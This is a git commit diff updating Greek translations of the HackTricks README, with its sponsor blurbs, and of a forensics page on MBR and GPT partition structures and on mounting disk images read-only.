Translated ['README.md', 'forensics/basic-forensic-methodology/partition

This commit is contained in:
Translator 2024-03-09 13:41:51 +00:00
parent 231765b30e
commit 4127a494c5
25 changed files with 1487 additions and 2141 deletions

View file

@ -2,21 +2,21 @@
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Λογότυπα και σχεδιασμός κίνησης του Hacktricks από τον_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ _Τα λογότυπα και το σχεδιασμό κίνησης του Hacktricks από_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %} {% hint style="success" %}
**Καλώς ήρθατε στο wiki όπου θα βρείτε κάθε κόλπο/τεχνική/οτιδήποτε έχω μάθει από CTFs, εφαρμογές στην πραγματική ζωή, αναγνώσεις ερευνών και ειδήσεων.** **Καλώς ήρθατε στο wiki όπου θα βρείτε κάθε κόλπο/τεχνική/ό,τι έχω μάθει από CTFs, εφαρμογές στην πραγματική ζωή, αναγνώσεις έρευνας και ειδήσεις.**
{% endhint %} {% endhint %}
Για να ξεκινήσετε, ακολουθήστε αυτήν τη σελίδα όπου θα βρείτε την **τυπική ροή** που **πρέπει να ακολουθήσετε κατά τον pentesting** ενός ή περισσότερων **μηχανημάτων:** Για να ξεκινήσετε ακολουθήστε αυτήν τη σελίδα όπου θα βρείτε την **κανονική ροή** που **πρέπει να ακολουθήσετε κατά τον έλεγχο ασφαλείας** ενός ή περισσότερων **μηχανημάτων:**
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %} {% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md) [pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
{% endcontent-ref %} {% endcontent-ref %}
## Χορηγοί Platinum ## Χορηγοί Πλατινένιου Επιπέδου
_Η εταιρεία σας θα μπορούσε να είναι εδώ._ _Η εταιρεία σας θα μπορούσε να βρίσκεται εδώ._
## Εταιρικοί Χορηγοί ## Εταιρικοί Χορηγοί
@ -24,17 +24,17 @@ _Η εταιρεία σας θα μπορούσε να είναι εδώ._
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) είναι μια εξαιρετική εταιρεία κυβερνοασφάλειας, το σύνθημα της οποίας είναι **HACK THE UNHACKABLE**. Διεξάγουν τις δικές τους έρευνες και αναπτύσσουν τα δικά τους εργαλεία χάκερ για να προσφέρουν πολλές αξιόλογες υπηρεσίες κυβερνοασφάλειας, όπως pentesting, Red teams και εκπαίδευση. [**STM Cyber**](https://www.stmcyber.com) είναι μια εξαιρετική εταιρεία κυβερνοασφάλειας της οποίας το σύνθημα είναι **HACK THE UNHACKABLE**. Διεξάγουν τη δική τους έρευνα και αναπτύσσουν τα δικά τους εργαλεία χάκερ για να **προσφέρουν αρκετές αξιόλογες υπηρεσίες κυβερνοασφάλειας** όπως ελεγκτικές δοκιμές, Κόκκινες Ομάδες και εκπαίδευση.
Μπορείτε να ελέγξετε το **blog** τους στο [**https://blog.stmcyber.com**](https://blog.stmcyber.com) Μπορείτε να ελέγξετε το **blog** τους στο [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
**Η STM Cyber** υποστηρίζει επίσης ανοιχτά εργαλεία κυβερνοασφάλειας όπως το HackTricks :) **Η STM Cyber** υποστηρίζει επίσης ανοικτά έργα κυβερνοασφάλειας όπως το HackTricks :)
### [RootedCON](https://www.rootedcon.com/) ### [RootedCON](https://www.rootedcon.com/)
<figure><img src=".gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή να προωθήσει την τεχνική γνώση**, αυτό το συνέδριο είναι ένας ζωηρός σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε ειδικότητα. [**RootedCON**](https://www.rootedcon.com) είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένας ζωηρός χώρος συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πεδίο.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
@ -42,9 +42,9 @@ _Η εταιρεία σας θα μπορούσε να είναι εδώ._
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Intigriti** είναι η **αριθμός 1** ευρωπαϊκή πλατφόρμα για ηθικό χάκινγκ και **bug bounty**. **Η Intigriti** είναι η **#1** εταιρεία ηθικού χάκερ και **πλατφόρμα ανταμοιβής ευρημάτων ευπάθειας στην Ευρώπη.**
**Συμβουλή bug bounty**: **εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty που δημιουργήθηκε από χάκερ, για χάκερ**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**! **Συμβουλή ανταμοιβής ευπάθειας**: **Εγγραφείτε** στην **Intigriti**, μια προηγμένη **πλατφόρμα ανταμοιβής ευπάθειας δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε ανταμοιβές έως και **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
@ -53,24 +53,56 @@ _Η εταιρεία σας θα μπορούσε να είναι εδώ._
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο. Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο.
Αποκτήστε πρόσβαση σήμερα: Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
### [Intruder](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) ### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
Μείνετε ένα βήμα μπροστά στο παιχνίδι της κυβερνοασφάλειας. Συμμετέχετε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ανταμοιβής ευπάθειας!
Το [**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) καθιστά τη διαχείριση ευπαθειών εύκολη. Παρακολουθήστε την επιθετική επιφάνεια επίθεσης, δείτε πού είναι ευάλωτη η εταιρεία σας και δώστε προτεραιότητα στα θέματα που αφήνουν τα συστήματά σας πιο εκτεθειμένα, ώστε να μπορείτε να επικεντρωθείτε στα πιο σημαντικά. **Εισαγωγή στο Χάκινγκ**\
Συμμετέχετε σε περιεχόμενο που εξετάζει την αγωνία και τις προκλήσεις του χάκινγκ
Εκτελέστε χιλιάδες ελέγχους με μια μόνο πλατφόρμα που καλύπτει ολόκληρο το τεχνολογικό σας στοίχημα από την εσωτερική υποδομή **Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
## Άδεια χρήσης και Αποποίηση Ευθυνών Μείνετε ενήμεροι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
**Ελέγξτε τις πληροφορίες στο:** **Τελευταίες Ανακοινώσεις**\
Μείνετε ενήμεροι με τις νεότερες ανταμοιβές ευπάθειας που ξεκινούν και τις κρίσιμες ενημερώσεις πλατφόρμας
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
***
### [Pentest-Tools.com](https://pentest-tools.com/) - Το απαραίτητο εργαλείο δοκιμών διείσδυσης
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη εγκατάσταση για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε χρόνο να εξερευνήσουν βαθύτερα, να ανοίξουν κελιά και να διασκεδάσουν.
{% embed url="https://pentest-tools.com/" %}
### [WebSec](https://websec.nl/)
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) είναι μια επαγγελματική εταιρεία κυβερνοασφάλειας με έδρα το **Άμστερνταμ** που βοηθάει στην **προστασία** επιχειρήσεων **σε όλο τον κόσμο** ενάντια στις τελευταίες κυβερνοασφαλειακές απειλές παρέχοντας υπηρεσίες **επιθετικής ασφάλειας** με μια **σύγχρονη** προσέγγιση.
Η WebSec είναι μια **εταιρεία ασφάλειας όλα-σε-ένα** που σημαίνει ότι κάνουν τα πάντα· Δοκιμές Διείσδυσης, **Ελεγκτικές** Επιθεωρήσεις, Εκπαιδεύσεις Ευαισθητοποίησης, Καμπάνιες Φισιγκ, Αναθεώρηση Κώδικα, Ανάπτυξη Εκμετάλλευσης, Εξωτερική Ανάθεση Ειδικών Ασφάλειας και πολλά άλλα.
Ένα άλλο καλό πράγμα για την WebSec είναι ότι αντίθετα με τον μέσο όρο της βιομηχανίας, η WebSec είναι **πολύ βέβαιη για τις δεξιότητές της**, με τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, αναφέρεται στον ιστότοπό τους "**Αν δεν μπορούμε να το χακάρουμε, Δεν πληρώνετε!**". Για περισσότερες πληροφορίες ρίξτε μια ματιά στην [**ιστοσελίδα**](https://websec.nl/en/) και το [**blog**](https://websec.nl/blog/) τους!
Εκτός από τα παραπάνω, η WebSec υποστηρίζει επίσης το HackTricks.
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
## Άδεια & Αποποίηση Ευθυνών
**Ελέγξτε τα στο:**
{% content-ref url="welcome/hacktricks-values-and-faq.md" %} {% content-ref url="welcome/hacktricks-values-and-faq.md" %}
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md) [hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
@ -78,14 +110,6 @@ _Η εταιρεία σας θα μπορούσε να είναι εδώ._
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks: Άλλοι τρ
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -1,37 +1,35 @@
# Διαμερίσματα/Συστήματα Αρχείων/Ανάκτηση # Διαμερίσματα/Συστήματα Αρχείων/Ανάκτηση
## Διαμερίσματα/Συστήματα Αρχείων/Ανάκτηση
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details> </details>
## Διαμερίσματα ## Διαμερίσματα
Ένας σκληρός δίσκος ή ένας **δίσκος SSD μπορεί να περιέχει διάφορα διαμερίσματα** με σκοπό τη φυσική διαχωρισμό των δεδομένων.\ Ένας σκληρός δίσκος ή ένας **δίσκος SSD μπορεί να περιέχει διαφορετικά διαμερίσματα** με σκοπό τη φυσική διαχωρισμό των δεδομένων.\
Η **ελάχιστη** μονάδα ενός δίσκου είναι το **τομέας** (συνήθως αποτελείται από 512B). Έτσι, ο μέγεθος κάθε διαμερίσματος πρέπει να είναι πολλαπλάσιο του μεγέθους αυτού. Η **ελάχιστη** μονάδα ενός δίσκου είναι το **sector** (συνήθως αποτελείται από 512B). Έτσι, η μέγεθος κάθε διαμερίσματος πρέπει να είναι πολλαπλάσιο του μεγέθους αυτού.
### MBR (master Boot Record) ### MBR (Κύριο Μητρώο Εκκίνησης)
Ανατίθεται στο **πρώτο τομέα του δίσκου μετά τα 446B του κώδικα εκκίνησης**. Αυτός ο τομέας είναι απαραίτητος για να υποδείξει στον υπολογιστή ποιο και από πού θα πρέπει να τοποθετηθεί ένα διαμέρισμα.\ Είναι εγκατεστημένο στον **πρώτο τομέα του δίσκου μετά τα 446B του κώδικα εκκίνησης**. Αυτός ο τομέας είναι ουσιώδης για να υποδείξει στον Η/Υ τι και από πού πρέπει να τοποθετηθεί ένα διαμέρισμα.\
Επιτρέπει έως και **4 διαμερίσματα** (το πολύ **1** μπορεί να είναι ενεργό/**εκκινήσιμο**). Ωστόσο, εάν χρειάζεστε περισσότερα διαμερίσματα, μπορείτε να χρησιμοποιήσετε **επεκτεινόμενα διαμερίσματα**. Το **τελευταίο byte** αυτού του πρώτου τομέα είναι η υπογραφή του εγγραφής εκκίνησης **0x55AA**. Μόνο ένα διαμέρισμα μπορεί να επισημανθεί ως ενεργό.\ Επιτρέπει έως και **4 διαμερίσματα** (το πολύ **μόνο 1** μπορεί να είναι ενεργό/**εκκινήσιμο**). Ωστόσο, αν χρειάζεστε περισσότερα διαμερίσματα μπορείτε να χρησιμοποιήσετε **επεκτεινόμενα διαμερίσματα**. Το **τελευταίο byte** αυτού του πρώτου τομέα είναι η υπογραφή του εγγράφου εκκίνησης **0x55AA**. Μόνο ένα διαμέρισμα μπορεί να επισημανθεί ως ενεργό.\
Το MBR επιτρέπει **έως 2,2TB**. Το MBR επιτρέπει **μέγιστο 2,2TB**.
![](<../../../.gitbook/assets/image (489).png>) ![](<../../../.gitbook/assets/image (489).png>)
![](<../../../.gitbook/assets/image (490).png>) ![](<../../../.gitbook/assets/image (490).png>)
Από τα **bytes 440 έως 443** του MBR μπορείτε να βρείτε τη **Σφραγίδα Δίσκου των Windows** (εάν χρησιμοποιείται το Windows). Το λογικό γράμμα οδήγησης του σκληρού δίσκου εξαρτάται από τη Σφραγίδα Δίσκου των Windows. Η αλλαγή αυτής της σφραγίδας μπορεί να εμποδίσει την εκκίνηση των Windows (εργαλείο: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. Από τα **bytes 440 έως τα 443** του MBR μπορείτε να βρείτε τη **Σφραγίδα Δίσκου των Windows** (εάν χρησιμοποιείται τα Windows). Το λογικό γράμμα οδήγησης του σκληρού δίσκου εξαρτάται από τη Σφραγίδα Δίσκου των Windows. Η αλλαγή αυτής της σφραγίδας μπορεί να αποτρέψει τα Windows από την εκκίνηση (εργαλείο: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../.gitbook/assets/image (493).png>) ![](<../../../.gitbook/assets/image (493).png>)
@ -50,61 +48,97 @@
| Offset | Μήκος | Στοιχείο | | Offset | Μήκος | Στοιχείο |
| --------- | -------- | ------------------------------------------------------ | | --------- | -------- | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | Σημαία ενεργού (0x80 = εκκινήσιμο) | | 0 (0x00) | 1 (0x01) | Σημαία ενεργότητας (0x80 = εκκινήσιμο) |
| 1 (0x01) | 1 (0x01) | Έναρξη κεφαλής | | 1 (0x01) | 1 (0x01) | Έναρξη κεφαλής |
| 2 (0x02) | 1 (0x01) | Έναρξη τομέα (bits 0-5); υψηλότερα bits του κυλίνδρου (6- 7) | | 2 (0x02) | 1 (0x01) | Έναρξη τομέα (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) |
| 3 (0x03) | 1 (0x01) | Χαμηλότερα 8 bits του κυλίνδρου έναρξης | | 3 (0x03) | 1 (0x01) | Χαμηλότερα 8 bits του κυλίνδρου έναρξης |
| 4 (0x04) | 1 (0x01) | Κωδικός τύπου διαμέρισματος (0x83 = Linux) | | 4 (0x04) | 1 (0x01) | Κωδικός τύπου διαμέρισματος (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Τελική κεφαλή | | 5 (0x05) | 1 (0x01) | Τέλος κεφαλής |
| 6 (0x06) | 1 (0x01) | Τελικός τομέας (bits 0-5); υψηλότερα bits του κυλίνδρου (6- 7) | | 6 (0x06) | 1 (0x01) | Τέλος τομέα (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) |
| 7 (0x07) | 1 (0x01) | Χαμηλότερα 8 bits του κυλίνδρου τέλους | | 7 (0x07) | 1 (0x01) | Χαμηλότερα 8 bits του κυλίνδρου τέλους |
| 8 (0x08) | 4 (0x04) | Τομείς πριν από το διαμέρισμα (little endian) | | 8 (0x08) | 4 (0x04) | Τομείς πριν το διαμέρισμα (little endian) |
| 12 (0x0C) | 4 (0x04) | Τομείς στο διαμέρισμα | | 12 (0x0C) | 4 (0x04) | Τομείς στο διαμέρισμα |
Για να τοποθετήσετε ένα MBR σε Linux, πρ Για να τοποθετήσετε ένα MBR στο Linux πρέπει πρώτα να λάβετε την αρχική μετατόπιση (μπορείτε να χρησιμοποιήσετε το `fdisk` και την εντολή `p`)
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
Και στη συνέχεια χρησιμοποιήστε τον παρακάτω κώδικα
```bash ```bash
#Mount MBR in Linux #Mount MBR in Linux
mount -o ro,loop,offset=<Bytes> mount -o ro,loop,offset=<Bytes>
#63x512 = 32256Bytes #63x512 = 32256Bytes
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
``` ```
**LBA (Λογική διεύθυνση μπλοκ)** **Διεύθυνση Λογικών Τμημάτων (LBA)**
Η Λογική διεύθυνση μπλοκ (**LBA**) είναι ένα κοινό σχήμα που χρησιμοποιείται για τον καθορισμό της τοποθεσίας των μπλοκ δεδομένων που αποθηκεύονται σε συσκευές αποθήκευσης υπολογιστών, κυρίως συστήματα αποθήκευσης δευτερεύουσας μνήμης, όπως οι σκληροί δίσκοι. Η LBA είναι ένα ιδιαίτερα απλό γραμμικό σχήμα διευθυνσιοδότησης. Τα μπλοκ εντοπίζονται με έναν ακέραιο δείκτη, με το πρώτο μπλοκ να είναι LBA 0, το δεύτερο LBA 1 και ούτω καθεξής. Η **Διεύθυνση Λογικών Τμημάτων** (**LBA**) είναι ένα κοινό σχήμα που χρησιμοποιείται για τον **καθορισμό της τοποθεσίας των τμημάτων** δεδομένων που αποθηκεύονται σε συσκευές αποθήκευσης υπολογιστών, κυρίως σε συστήματα δευτερεύουσας αποθήκευσης όπως οι σκληροί δίσκοι. Η LBA είναι ένα ιδιαίτερα απλό γραμμικό σχήμα διεύθυνσης. **Τα τμήματα εντοπίζονται με έναν ακέραιο δείκτη**, με το πρώτο τμήμα να είναι το LBA 0, το δεύτερο LBA 1, και ούτω καθεξής.
### GPT (Πίνακας Οδηγιών Κατατμήσεων) ### GPT (Πίνακας Οδηγιών Μοναδικών Αναγνωριστικών)
Ο πίνακας οδηγιών κατατμήσεων GUID, γνωστός ως GPT, προτιμάται για τις βελτιωμένες δυνατότητές του σε σύγκριση με το MBR (Master Boot Record). Χαρακτηριστικό του είναι ο **παγκοσμίως μοναδικός αναγνωριστικός κωδικός** για τις κατατμήσεις, ο GPT ξεχωρίζει με πολλούς τρόπους: Ο Πίνακας Οδηγιών Μοναδικών Αναγνωριστικών, γνωστός ως GPT, προτιμάται για τις βελτιωμένες δυνατότητές του σε σύγκριση με το MBR (Master Boot Record). Διακριτικό για το **παγκοσμίως μοναδικό αναγνωριστικό** για τμήματα, ο GPT ξεχωρίζει με διάφορους τρόπους:
- **Τοποθεσία και Μέγεθος**: Τόσο ο GPT όσο και ο MBR ξεκινούν από τον τομέα 0. Ωστόσο, ο GPT λειτουργεί με **64 bits**, αντίθετα με τα 32 bits του MBR. * **Τοποθεσία και Μέγεθος**: Τόσο ο GPT όσο και το MBR ξεκινούν από το **τομέα 0**. Ωστόσο, ο GPT λειτουργεί με **64 bits**, αντίθετα με τα 32 bits του MBR.
- **Όρια Κατατμήσεων**: Ο GPT υποστηρίζει έως και **128 κατατμήσεις** σε συστήματα Windows και μπορεί να φιλοξενήσει έως και **9,4ZB** δεδομένων. * **Όρια Τμημάτων**: Ο GPT υποστηρίζει έως και **128 τμήματα** σε συστήματα Windows και φιλοξενεί έως και **9,4ΖΒ** δεδομένων.
- **Ονόματα Κατατμήσεων**: Προσφέρει τη δυνατότητα να ονομάζει κατατμήσεις με έως και 36 χαρακτήρες Unicode. * **Ονόματα Τμημάτων**: Προσφέρει τη δυνατότητα να ονομάζετε τμήματα με έως και 36 χαρακτήρες Unicode.
**Ανθεκτικότητα Δεδομένων και Ανάκτηση**: **Ανθεκτικότητα Δεδομένων και Ανάκτηση**:
- **Αντιγραφή**: Αντίθετα από το MBR, ο GPT δεν περιορίζει την κατατμητοποίηση και τα δεδομένα εκκίνησης σε ένα μόνο σημείο. Αντιγράφει αυτά τα δεδομένα σε όλο το δίσκο, βελτιώνοντας την ακεραιότητα και την ανθεκτικότητα των δεδομένων. * **Επαναληπτικότητα**: Αντίθετα με το MBR, ο GPT δεν περιορίζει την διαίρεση σε τμήματα και δεδομένα εκκίνησης σε ένα μόνο σημείο. Αντιγράφει αυτά τα δεδομένα σε όλο το δίσκο, βελτιώνοντας την ακεραιότητα και την ανθεκτικότητα των δεδομένων.
- **Έλεγχος Κυκλικής Περιττότητας (CRC)**: Ο GPT χρησιμοποιεί το CRC για να εξασφαλίσει την ακεραιότητα των δεδομένων. Παρακολουθεί ενεργά τη διάβρωση των δεδομένων και, όταν ανιχνεύεται, ο GPT προσπαθεί να ανακτήσει τα κατεστραμμένα δεδομένα από άλλη θέση του δίσκου. * **Έλεγχος Κυκλικής Επανάληψης (CRC)**: Ο GPT χρησιμοποιεί το CRC για να εξασφαλίσει την ακεραιότητα των δεδομένων. Παρακολουθεί ενεργά τη διάβρωση δεδομένων και, όταν ανιχνευθεί, ο GPT προσπαθεί να ανακτήσει τα δεδομένα από άλλη τοποθεσία στο δίσκο.
**Προστατευτικό MBR (LBA0)**: **Προστατευτικό MBR (LBA0)**:
- Ο GPT διατηρεί την αναστρεφόμενη συμβατότητα μέσω ενός προστατευτικού MBR. Αυτή η λειτουργία βρίσκεται στον χώρο του παλαιού MBR, αλλά σχεδιάστηκε για να αποτρέπει τις παλαιές εργαλειοθήκες που βασίζονται στο MBR να αντικαταστήσουν κατά λάθος τους δίσκους GPT, προστατεύοντας έτσι την ακεραιότητα των δεδομένων στους δίσκους με μορφή GPT. * Ο GPT διατηρεί την συμβατότητα προς τα πίσω μέσω ενός προστατευτικού MBR. Αυτό το χαρακτηριστικό βρίσκεται στον χώρο του παλαιού MBR αλλά σχεδιάστηκε για να αποτρέπει τις παλαιότερες εργαλειοθήκες που βασίζονται στο MBR από το να αντικαταστήσουν κατά λάθος τους δίσκους GPT, προστατεύοντας έτσι την ακεραιότητα των δεδομένων στους δίσκους μορφοποιημένους με GPT.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>) ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
**Υβριδικό MBR (LBA 0 + GPT)** **Υβριδικό MBR (LBA 0 + GPT)**
[Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) [Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
